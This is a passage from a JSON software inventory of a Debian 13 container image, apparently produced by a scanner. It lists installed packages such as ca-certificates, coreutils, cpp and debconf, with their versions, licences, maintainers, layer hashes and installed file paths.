"/usr/share/ca-certificates/mozilla/Amazon_Root_CA_2.crt", "/usr/share/ca-certificates/mozilla/Amazon_Root_CA_3.crt", "/usr/share/ca-certificates/mozilla/Amazon_Root_CA_4.crt", "/usr/share/ca-certificates/mozilla/Atos_TrustedRoot_2011.crt", "/usr/share/ca-certificates/mozilla/Atos_TrustedRoot_Root_CA_ECC_TLS_2021.crt", "/usr/share/ca-certificates/mozilla/Atos_TrustedRoot_Root_CA_RSA_TLS_2021.crt", "/usr/share/ca-certificates/mozilla/Autoridad_de_Certificacion_Firmaprofesional_CIF_A62634068.crt", "/usr/share/ca-certificates/mozilla/BJCA_Global_Root_CA1.crt", "/usr/share/ca-certificates/mozilla/BJCA_Global_Root_CA2.crt", "/usr/share/ca-certificates/mozilla/Baltimore_CyberTrust_Root.crt", "/usr/share/ca-certificates/mozilla/Buypass_Class_2_Root_CA.crt", "/usr/share/ca-certificates/mozilla/Buypass_Class_3_Root_CA.crt", "/usr/share/ca-certificates/mozilla/CA_Disig_Root_R2.crt", "/usr/share/ca-certificates/mozilla/CFCA_EV_ROOT.crt", "/usr/share/ca-certificates/mozilla/COMODO_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/COMODO_ECC_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/COMODO_RSA_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/Certainly_Root_E1.crt", "/usr/share/ca-certificates/mozilla/Certainly_Root_R1.crt", "/usr/share/ca-certificates/mozilla/Certigna.crt", "/usr/share/ca-certificates/mozilla/Certigna_Root_CA.crt", "/usr/share/ca-certificates/mozilla/Certum_EC-384_CA.crt", "/usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA.crt", "/usr/share/ca-certificates/mozilla/Certum_Trusted_Network_CA_2.crt", "/usr/share/ca-certificates/mozilla/Certum_Trusted_Root_CA.crt", "/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_ECC_Root-01.crt", "/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_ECC_Root-02.crt", "/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_RSA_Root-01.crt", "/usr/share/ca-certificates/mozilla/CommScope_Public_Trust_RSA_Root-02.crt", "/usr/share/ca-certificates/mozilla/Comodo_AAA_Services_root.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_BR_Root_CA_1_2020.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_BR_Root_CA_2_2023.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_EV_Root_CA_1_2020.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_EV_Root_CA_2_2023.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_2009.crt", "/usr/share/ca-certificates/mozilla/D-TRUST_Root_Class_3_CA_2_EV_2009.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_CA.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G2.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Assured_ID_Root_G3.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_CA.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G2.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Global_Root_G3.crt", "/usr/share/ca-certificates/mozilla/DigiCert_High_Assurance_EV_Root_CA.crt", "/usr/share/ca-certificates/mozilla/DigiCert_TLS_ECC_P384_Root_G5.crt", "/usr/share/ca-certificates/mozilla/DigiCert_TLS_RSA4096_Root_G5.crt", "/usr/share/ca-certificates/mozilla/DigiCert_Trusted_Root_G4.crt", "/usr/share/ca-certificates/mozilla/Entrust.net_Premium_2048_Secure_Server_CA.crt", "/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_EC1.crt", "/usr/share/ca-certificates/mozilla/Entrust_Root_Certification_Authority_-_G2.crt", "/usr/share/ca-certificates/mozilla/FIRMAPROFESIONAL_CA_ROOT-A_WEB.crt", "/usr/share/ca-certificates/mozilla/GDCA_TrustAUTH_R5_ROOT.crt", "/usr/share/ca-certificates/mozilla/GLOBALTRUST_2020.crt", "/usr/share/ca-certificates/mozilla/GTS_Root_R1.crt", "/usr/share/ca-certificates/mozilla/GTS_Root_R2.crt", "/usr/share/ca-certificates/mozilla/GTS_Root_R3.crt", "/usr/share/ca-certificates/mozilla/GTS_Root_R4.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R4.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_ECC_Root_CA_-_R5.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R3.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_CA_-_R6.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_E46.crt", "/usr/share/ca-certificates/mozilla/GlobalSign_Root_R46.crt", "/usr/share/ca-certificates/mozilla/Go_Daddy_Class_2_CA.crt", "/usr/share/ca-certificates/mozilla/Go_Daddy_Root_Certificate_Authority_-_G2.crt", "/usr/share/ca-certificates/mozilla/HARICA_TLS_ECC_Root_CA_2021.crt", "/usr/share/ca-certificates/mozilla/HARICA_TLS_RSA_Root_CA_2021.crt", "/usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_ECC_RootCA_2015.crt", "/usr/share/ca-certificates/mozilla/Hellenic_Academic_and_Research_Institutions_RootCA_2015.crt", "/usr/share/ca-certificates/mozilla/HiPKI_Root_CA_-_G1.crt", "/usr/share/ca-certificates/mozilla/Hongkong_Post_Root_CA_3.crt", "/usr/share/ca-certificates/mozilla/ISRG_Root_X1.crt", "/usr/share/ca-certificates/mozilla/ISRG_Root_X2.crt", "/usr/share/ca-certificates/mozilla/IdenTrust_Commercial_Root_CA_1.crt", "/usr/share/ca-certificates/mozilla/IdenTrust_Public_Sector_Root_CA_1.crt", "/usr/share/ca-certificates/mozilla/Izenpe.com.crt", "/usr/share/ca-certificates/mozilla/Microsec_e-Szigno_Root_CA_2009.crt", "/usr/share/ca-certificates/mozilla/Microsoft_ECC_Root_Certificate_Authority_2017.crt", "/usr/share/ca-certificates/mozilla/Microsoft_RSA_Root_Certificate_Authority_2017.crt", "/usr/share/ca-certificates/mozilla/NAVER_Global_Root_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/NetLock_Arany_=Class_Gold=_Főtanúsítvány.crt", "/usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GB_CA.crt", "/usr/share/ca-certificates/mozilla/OISTE_WISeKey_Global_Root_GC_CA.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_1_G3.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_2_G3.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3.crt", "/usr/share/ca-certificates/mozilla/QuoVadis_Root_CA_3_G3.crt", "/usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_ECC.crt", "/usr/share/ca-certificates/mozilla/SSL.com_EV_Root_Certification_Authority_RSA_R2.crt", "/usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_ECC.crt", "/usr/share/ca-certificates/mozilla/SSL.com_Root_Certification_Authority_RSA.crt", "/usr/share/ca-certificates/mozilla/SSL.com_TLS_ECC_Root_CA_2022.crt", "/usr/share/ca-certificates/mozilla/SSL.com_TLS_RSA_Root_CA_2022.crt", "/usr/share/ca-certificates/mozilla/SZAFIR_ROOT_CA2.crt", "/usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_E46.crt", "/usr/share/ca-certificates/mozilla/Sectigo_Public_Server_Authentication_Root_R46.crt", "/usr/share/ca-certificates/mozilla/SecureSign_Root_CA12.crt", "/usr/share/ca-certificates/mozilla/SecureSign_Root_CA14.crt", "/usr/share/ca-certificates/mozilla/SecureSign_Root_CA15.crt", "/usr/share/ca-certificates/mozilla/SecureTrust_CA.crt", "/usr/share/ca-certificates/mozilla/Secure_Global_CA.crt", "/usr/share/ca-certificates/mozilla/Security_Communication_ECC_RootCA1.crt", "/usr/share/ca-certificates/mozilla/Security_Communication_RootCA2.crt", "/usr/share/ca-certificates/mozilla/Starfield_Class_2_CA.crt", "/usr/share/ca-certificates/mozilla/Starfield_Root_Certificate_Authority_-_G2.crt", "/usr/share/ca-certificates/mozilla/Starfield_Services_Root_Certificate_Authority_-_G2.crt", "/usr/share/ca-certificates/mozilla/SwissSign_Gold_CA_-_G2.crt", "/usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_2.crt", "/usr/share/ca-certificates/mozilla/T-TeleSec_GlobalRoot_Class_3.crt", "/usr/share/ca-certificates/mozilla/TUBITAK_Kamu_SM_SSL_Kok_Sertifikasi_-_Surum_1.crt", "/usr/share/ca-certificates/mozilla/TWCA_CYBER_Root_CA.crt", "/usr/share/ca-certificates/mozilla/TWCA_Global_Root_CA.crt", "/usr/share/ca-certificates/mozilla/TWCA_Root_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/Telekom_Security_TLS_ECC_Root_2020.crt", "/usr/share/ca-certificates/mozilla/Telekom_Security_TLS_RSA_Root_2023.crt", "/usr/share/ca-certificates/mozilla/TeliaSonera_Root_CA_v1.crt", "/usr/share/ca-certificates/mozilla/Telia_Root_CA_v2.crt", "/usr/share/ca-certificates/mozilla/TrustAsia_Global_Root_CA_G3.crt", "/usr/share/ca-certificates/mozilla/TrustAsia_Global_Root_CA_G4.crt", "/usr/share/ca-certificates/mozilla/Trustwave_Global_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/Trustwave_Global_ECC_P256_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/Trustwave_Global_ECC_P384_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/TunTrust_Root_CA.crt", "/usr/share/ca-certificates/mozilla/UCA_Extended_Validation_Root.crt", "/usr/share/ca-certificates/mozilla/UCA_Global_G2_Root.crt", "/usr/share/ca-certificates/mozilla/USERTrust_ECC_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/USERTrust_RSA_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/XRamp_Global_CA_Root.crt", "/usr/share/ca-certificates/mozilla/certSIGN_ROOT_CA.crt", "/usr/share/ca-certificates/mozilla/certSIGN_Root_CA_G2.crt", "/usr/share/ca-certificates/mozilla/e-Szigno_Root_CA_2017.crt", "/usr/share/ca-certificates/mozilla/ePKI_Root_Certification_Authority.crt", "/usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_C3.crt", "/usr/share/ca-certificates/mozilla/emSign_ECC_Root_CA_-_G3.crt", "/usr/share/ca-certificates/mozilla/emSign_Root_CA_-_C1.crt", "/usr/share/ca-certificates/mozilla/emSign_Root_CA_-_G1.crt", "/usr/share/ca-certificates/mozilla/vTrus_ECC_Root_CA.crt", "/usr/share/ca-certificates/mozilla/vTrus_Root_CA.crt", "/usr/share/doc/ca-certificates/README.Debian", "/usr/share/doc/ca-certificates/changelog.gz", "/usr/share/doc/ca-certificates/copyright", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/Makefile", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/README", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/ca-certificates-local.triggers", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/changelog", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/compat", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/control", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/copyright", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/postrm", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/rules", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/debian/source/format", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/local/Local_Root_CA.crt", "/usr/share/doc/ca-certificates/examples/ca-certificates-local/local/Makefile", "/usr/share/man/man8/update-ca-certificates.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "coreutils@9.7-3", "Name": "coreutils", "Identifier": { "PURL": "pkg:deb/debian/coreutils@9.7-3?arch=amd64\u0026distro=debian-13.6", "UID": "cb4a55f50bda2393" }, "Version": "9.7", "Release": "3", "Arch": "amd64", "SrcName": "coreutils", "SrcVersion": "9.7", "SrcRelease": "3", "Licenses": [ "GPL-3.0-or-later", "BSD-4-Clause-UC", "GPL-3.0-only", "ISC", "FSFULLR", "GFDL-1.3-no-invariants-only", "GFDL-1.3-only" ], "Maintainer": "Michael Stone \u003cmstone@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/[", "/usr/bin/arch", "/usr/bin/b2sum", "/usr/bin/base32", "/usr/bin/base64", "/usr/bin/basename", "/usr/bin/basenc", "/usr/bin/cat", "/usr/bin/chcon", "/usr/bin/chgrp", "/usr/bin/chmod", "/usr/bin/chown", "/usr/bin/cksum", "/usr/bin/comm", "/usr/bin/cp", "/usr/bin/csplit", "/usr/bin/cut", "/usr/bin/date", "/usr/bin/dd", "/usr/bin/df", "/usr/bin/dir", "/usr/bin/dircolors", "/usr/bin/dirname", "/usr/bin/du", "/usr/bin/echo", "/usr/bin/env", "/usr/bin/expand", "/usr/bin/expr", "/usr/bin/factor", "/usr/bin/false", "/usr/bin/fmt", "/usr/bin/fold", "/usr/bin/groups", "/usr/bin/head", "/usr/bin/hostid", "/usr/bin/id", "/usr/bin/install", "/usr/bin/join", "/usr/bin/link", "/usr/bin/ln", "/usr/bin/logname", "/usr/bin/ls", "/usr/bin/md5sum", "/usr/bin/mkdir", "/usr/bin/mkfifo", "/usr/bin/mknod", "/usr/bin/mktemp", "/usr/bin/mv", "/usr/bin/nice", "/usr/bin/nl", "/usr/bin/nohup", "/usr/bin/nproc", "/usr/bin/numfmt", "/usr/bin/od", "/usr/bin/paste", "/usr/bin/pathchk", "/usr/bin/pinky", "/usr/bin/pr", "/usr/bin/printenv", "/usr/bin/printf", "/usr/bin/ptx", "/usr/bin/pwd", "/usr/bin/readlink", "/usr/bin/realpath", "/usr/bin/rm", "/usr/bin/rmdir", "/usr/bin/runcon", "/usr/bin/seq", "/usr/bin/sha1sum", "/usr/bin/sha224sum", "/usr/bin/sha256sum", "/usr/bin/sha384sum", "/usr/bin/sha512sum", "/usr/bin/shred", "/usr/bin/shuf", "/usr/bin/sleep", "/usr/bin/sort", "/usr/bin/split", "/usr/bin/stat", "/usr/bin/stdbuf", "/usr/bin/stty", "/usr/bin/sum", "/usr/bin/sync", "/usr/bin/tac", "/usr/bin/tail", "/usr/bin/tee", "/usr/bin/test", "/usr/bin/timeout", "/usr/bin/touch", "/usr/bin/tr", "/usr/bin/true", "/usr/bin/truncate", "/usr/bin/tsort", "/usr/bin/tty", "/usr/bin/uname", "/usr/bin/unexpand", "/usr/bin/uniq", "/usr/bin/unlink", "/usr/bin/users", "/usr/bin/vdir", "/usr/bin/wc", "/usr/bin/who", "/usr/bin/whoami", "/usr/bin/yes", "/usr/libexec/coreutils/libstdbuf.so", "/usr/sbin/chroot", "/usr/share/doc/coreutils/AUTHORS", "/usr/share/doc/coreutils/NEWS.gz", "/usr/share/doc/coreutils/README.Debian", "/usr/share/doc/coreutils/README.gz", "/usr/share/doc/coreutils/THANKS.gz", "/usr/share/doc/coreutils/TODO.gz", "/usr/share/doc/coreutils/changelog.Debian.gz", "/usr/share/doc/coreutils/changelog.gz", "/usr/share/doc/coreutils/copyright", "/usr/share/info/coreutils.info.gz", "/usr/share/lintian/overrides/coreutils", "/usr/share/locale/af/LC_MESSAGES/coreutils.mo", "/usr/share/locale/be/LC_MESSAGES/coreutils.mo", "/usr/share/locale/bg/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ca/LC_MESSAGES/coreutils.mo", "/usr/share/locale/cs/LC_MESSAGES/coreutils.mo", "/usr/share/locale/da/LC_MESSAGES/coreutils.mo", "/usr/share/locale/de/LC_MESSAGES/coreutils.mo", "/usr/share/locale/el/LC_MESSAGES/coreutils.mo", "/usr/share/locale/eo/LC_MESSAGES/coreutils.mo", "/usr/share/locale/es/LC_MESSAGES/coreutils.mo", "/usr/share/locale/et/LC_MESSAGES/coreutils.mo", "/usr/share/locale/eu/LC_MESSAGES/coreutils.mo", "/usr/share/locale/fi/LC_MESSAGES/coreutils.mo", "/usr/share/locale/fr/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ga/LC_MESSAGES/coreutils.mo", "/usr/share/locale/gl/LC_MESSAGES/coreutils.mo", "/usr/share/locale/hr/LC_MESSAGES/coreutils.mo", "/usr/share/locale/hu/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ia/LC_MESSAGES/coreutils.mo", "/usr/share/locale/id/LC_MESSAGES/coreutils.mo", "/usr/share/locale/it/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ja/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ka/LC_MESSAGES/coreutils.mo", "/usr/share/locale/kk/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ko/LC_MESSAGES/coreutils.mo", "/usr/share/locale/lg/LC_MESSAGES/coreutils.mo", "/usr/share/locale/lt/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ms/LC_MESSAGES/coreutils.mo", "/usr/share/locale/nb/LC_MESSAGES/coreutils.mo", "/usr/share/locale/nl/LC_MESSAGES/coreutils.mo", "/usr/share/locale/pl/LC_MESSAGES/coreutils.mo", "/usr/share/locale/pt/LC_MESSAGES/coreutils.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ro/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ru/LC_MESSAGES/coreutils.mo", "/usr/share/locale/sk/LC_MESSAGES/coreutils.mo", "/usr/share/locale/sl/LC_MESSAGES/coreutils.mo", "/usr/share/locale/sr/LC_MESSAGES/coreutils.mo", "/usr/share/locale/sv/LC_MESSAGES/coreutils.mo", "/usr/share/locale/ta/LC_MESSAGES/coreutils.mo", "/usr/share/locale/tr/LC_MESSAGES/coreutils.mo", "/usr/share/locale/uk/LC_MESSAGES/coreutils.mo", "/usr/share/locale/vi/LC_MESSAGES/coreutils.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/coreutils.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/coreutils.mo", "/usr/share/man/man1/arch.1.gz", "/usr/share/man/man1/b2sum.1.gz", "/usr/share/man/man1/base32.1.gz", "/usr/share/man/man1/base64.1.gz", "/usr/share/man/man1/basename.1.gz", "/usr/share/man/man1/basenc.1.gz", "/usr/share/man/man1/cat.1.gz", "/usr/share/man/man1/chcon.1.gz", "/usr/share/man/man1/chgrp.1.gz", "/usr/share/man/man1/chmod.1.gz", "/usr/share/man/man1/chown.1.gz", "/usr/share/man/man1/cksum.1.gz", "/usr/share/man/man1/comm.1.gz", "/usr/share/man/man1/cp.1.gz", "/usr/share/man/man1/csplit.1.gz", "/usr/share/man/man1/cut.1.gz", "/usr/share/man/man1/date.1.gz", "/usr/share/man/man1/dd.1.gz", "/usr/share/man/man1/df.1.gz", "/usr/share/man/man1/dir.1.gz", "/usr/share/man/man1/dircolors.1.gz", "/usr/share/man/man1/dirname.1.gz", "/usr/share/man/man1/du.1.gz", "/usr/share/man/man1/echo.1.gz", "/usr/share/man/man1/env.1.gz", "/usr/share/man/man1/expand.1.gz", "/usr/share/man/man1/expr.1.gz", "/usr/share/man/man1/factor.1.gz", "/usr/share/man/man1/false.1.gz", "/usr/share/man/man1/fmt.1.gz", "/usr/share/man/man1/fold.1.gz", "/usr/share/man/man1/groups.1.gz", "/usr/share/man/man1/head.1.gz", "/usr/share/man/man1/hostid.1.gz", "/usr/share/man/man1/id.1.gz", "/usr/share/man/man1/install.1.gz", "/usr/share/man/man1/join.1.gz", "/usr/share/man/man1/link.1.gz", "/usr/share/man/man1/ln.1.gz", "/usr/share/man/man1/logname.1.gz", "/usr/share/man/man1/ls.1.gz", "/usr/share/man/man1/md5sum.1.gz", "/usr/share/man/man1/mkdir.1.gz", "/usr/share/man/man1/mkfifo.1.gz", "/usr/share/man/man1/mknod.1.gz", "/usr/share/man/man1/mktemp.1.gz", "/usr/share/man/man1/mv.1.gz", "/usr/share/man/man1/nice.1.gz", "/usr/share/man/man1/nl.1.gz", "/usr/share/man/man1/nohup.1.gz", "/usr/share/man/man1/nproc.1.gz", "/usr/share/man/man1/numfmt.1.gz", "/usr/share/man/man1/od.1.gz", "/usr/share/man/man1/paste.1.gz", "/usr/share/man/man1/pathchk.1.gz", "/usr/share/man/man1/pinky.1.gz", "/usr/share/man/man1/pr.1.gz", "/usr/share/man/man1/printenv.1.gz", "/usr/share/man/man1/printf.1.gz", "/usr/share/man/man1/ptx.1.gz", "/usr/share/man/man1/pwd.1.gz", "/usr/share/man/man1/readlink.1.gz", "/usr/share/man/man1/realpath.1.gz", "/usr/share/man/man1/rm.1.gz", "/usr/share/man/man1/rmdir.1.gz", "/usr/share/man/man1/runcon.1.gz", "/usr/share/man/man1/seq.1.gz", "/usr/share/man/man1/sha1sum.1.gz", "/usr/share/man/man1/sha224sum.1.gz", "/usr/share/man/man1/sha256sum.1.gz", "/usr/share/man/man1/sha384sum.1.gz", "/usr/share/man/man1/sha512sum.1.gz", "/usr/share/man/man1/shred.1.gz", "/usr/share/man/man1/shuf.1.gz", "/usr/share/man/man1/sleep.1.gz", "/usr/share/man/man1/sort.1.gz", "/usr/share/man/man1/split.1.gz", "/usr/share/man/man1/stat.1.gz", "/usr/share/man/man1/stdbuf.1.gz", "/usr/share/man/man1/stty.1.gz", "/usr/share/man/man1/sum.1.gz", "/usr/share/man/man1/sync.1.gz", "/usr/share/man/man1/tac.1.gz", "/usr/share/man/man1/tail.1.gz", "/usr/share/man/man1/tee.1.gz", "/usr/share/man/man1/test.1.gz", "/usr/share/man/man1/timeout.1.gz", "/usr/share/man/man1/touch.1.gz", "/usr/share/man/man1/tr.1.gz", "/usr/share/man/man1/true.1.gz", "/usr/share/man/man1/truncate.1.gz", "/usr/share/man/man1/tsort.1.gz", "/usr/share/man/man1/tty.1.gz", "/usr/share/man/man1/uname.1.gz", "/usr/share/man/man1/unexpand.1.gz", "/usr/share/man/man1/uniq.1.gz", "/usr/share/man/man1/unlink.1.gz", "/usr/share/man/man1/users.1.gz", "/usr/share/man/man1/vdir.1.gz", "/usr/share/man/man1/wc.1.gz", "/usr/share/man/man1/who.1.gz", "/usr/share/man/man1/whoami.1.gz", "/usr/share/man/man1/yes.1.gz", "/usr/share/man/man8/chroot.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "cpp@4:14.2.0-1", "Name": "cpp", "Identifier": { "PURL": "pkg:deb/debian/cpp@14.2.0-1?arch=amd64\u0026distro=debian-13.6\u0026epoch=4", "UID": "1a60e3f4f540d9c9" }, "Version": "14.2.0", "Release": "1", "Epoch": 4, "Arch": "amd64", "SrcName": "gcc-defaults", "SrcVersion": "1.220", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp-14@14.2.0-19", "cpp-x86-64-linux-gnu@4:14.2.0-1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/share/lintian/overrides/cpp" ], "AnalyzedBy": "dpkg" }, { "ID": "cpp-14@14.2.0-19", "Name": "cpp-14", "Identifier": { "PURL": "pkg:deb/debian/cpp-14@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "5a54eaccdc1b626b" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp-14-x86-64-linux-gnu@14.2.0-19", "gcc-14-base@14.2.0-19" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/share/lintian/overrides/cpp-14" ], "AnalyzedBy": "dpkg" }, { "ID": "cpp-14-x86-64-linux-gnu@14.2.0-19", "Name": "cpp-14-x86-64-linux-gnu", "Identifier": { "PURL": "pkg:deb/debian/cpp-14-x86-64-linux-gnu@14.2.0-19?arch=amd64\u0026distro=debian-13.6", "UID": "cbecccde28f2f73a" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u3", "libgmp10@2:6.3.0+dfsg-3", "libisl23@0.27-1", "libmpc3@1.3.1-1+b3", "libmpfr6@4.2.2-1", "libzstd1@1.5.7+dfsg-1", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/bin/x86_64-linux-gnu-cpp-14", "/usr/libexec/gcc/x86_64-linux-gnu/14/cc1", "/usr/share/lintian/overrides/cpp-14-x86-64-linux-gnu" ], "AnalyzedBy": "dpkg" }, { "ID": "cpp-x86-64-linux-gnu@4:14.2.0-1", "Name": "cpp-x86-64-linux-gnu", "Identifier": { "PURL": "pkg:deb/debian/cpp-x86-64-linux-gnu@14.2.0-1?arch=amd64\u0026distro=debian-13.6\u0026epoch=4", "UID": "3611f25f3c8c1270" }, "Version": "14.2.0", "Release": "1", "Epoch": 4, "Arch": "amd64", "SrcName": "gcc-defaults", "SrcVersion": "1.220", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "cpp-14-x86-64-linux-gnu@14.2.0-19" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/share/doc/cpp-x86-64-linux-gnu/changelog.gz", "/usr/share/doc/cpp-x86-64-linux-gnu/copyright", "/usr/share/lintian/overrides/cpp-x86-64-linux-gnu" ], "AnalyzedBy": "dpkg" }, { "ID": "dash@0.5.12-12", "Name": "dash", "Identifier": { "PURL": "pkg:deb/debian/dash@0.5.12-12?arch=amd64\u0026distro=debian-13.6", "UID": "4990b2098a2a3724" }, "Version": "0.5.12", "Release": "12", "Arch": "amd64", "SrcName": "dash", "SrcVersion": "0.5.12", "SrcRelease": "12", "Licenses": [ "BSD-3-Clause", "public-domain", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Andrej Shadura \u003candrewsh@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debianutils@5.23.2" ], "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/dash", "/usr/share/debianutils/shells.d/dash", "/usr/share/doc/dash/README.Debian.diet", "/usr/share/doc/dash/README.source", "/usr/share/doc/dash/changelog.Debian.gz", "/usr/share/doc/dash/changelog.gz", "/usr/share/doc/dash/copyright", "/usr/share/lintian/overrides/dash", "/usr/share/man/man1/dash.1.gz", "/usr/share/menu/dash" ], "AnalyzedBy": "dpkg" }, { "ID": "debconf@1.5.91", "Name": "debconf", "Identifier": { "PURL": "pkg:deb/debian/debconf@1.5.91?arch=all\u0026distro=debian-13.6", "UID": "f7c8b7ba83ed5cfe" }, "Version": "1.5.91", "Arch": "all", "SrcName": "debconf", "SrcVersion": "1.5.91", "Licenses": [ "BSD-2-Clause" ], "Maintainer": "Debconf Developers \u003cdebconf-devel@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "InstalledFiles": [ "/usr/bin/debconf", "/usr/bin/debconf-apt-progress", "/usr/bin/debconf-communicate", "/usr/bin/debconf-copydb", "/usr/bin/debconf-escape", "/usr/bin/debconf-set-selections", "/usr/bin/debconf-show", "/usr/sbin/dpkg-preconfigure", "/usr/sbin/dpkg-reconfigure", "/usr/share/bash-completion/completions/debconf", "/usr/share/debconf/confmodule", "/usr/share/debconf/confmodule.sh", "/usr/share/debconf/debconf.conf", "/usr/share/debconf/fix_db.pl", "/usr/share/debconf/frontend", "/usr/share/doc/debconf/README.Debian", "/usr/share/doc/debconf/changelog.gz", "/usr/share/doc/debconf/copyright", "/usr/share/lintian/overrides/debconf", "/usr/share/man/man1/debconf-apt-progress.1.gz", "/usr/share/man/man1/debconf-communicate.1.gz", "/usr/share/man/man1/debconf-copydb.1.gz", "/usr/share/man/man1/debconf-escape.1.gz", "/usr/share/man/man1/debconf-set-selections.1.gz", "/usr/share/man/man1/debconf-show.1.gz", "/usr/share/man/man1/debconf.1.gz", "/usr/share/man/man8/dpkg-preconfigure.8.gz", "/usr/share/man/man8/dpkg-reconfigure.8.gz", "/usr/share/perl5/Debconf/AutoSelect.pm", "/usr/share/perl5/Debconf/Base.pm", "/usr/share/perl5/Debconf/Client/ConfModule.pm", "/usr/share/perl5/Debconf/ConfModule.pm", "/usr/share/perl5/Debconf/Config.pm", 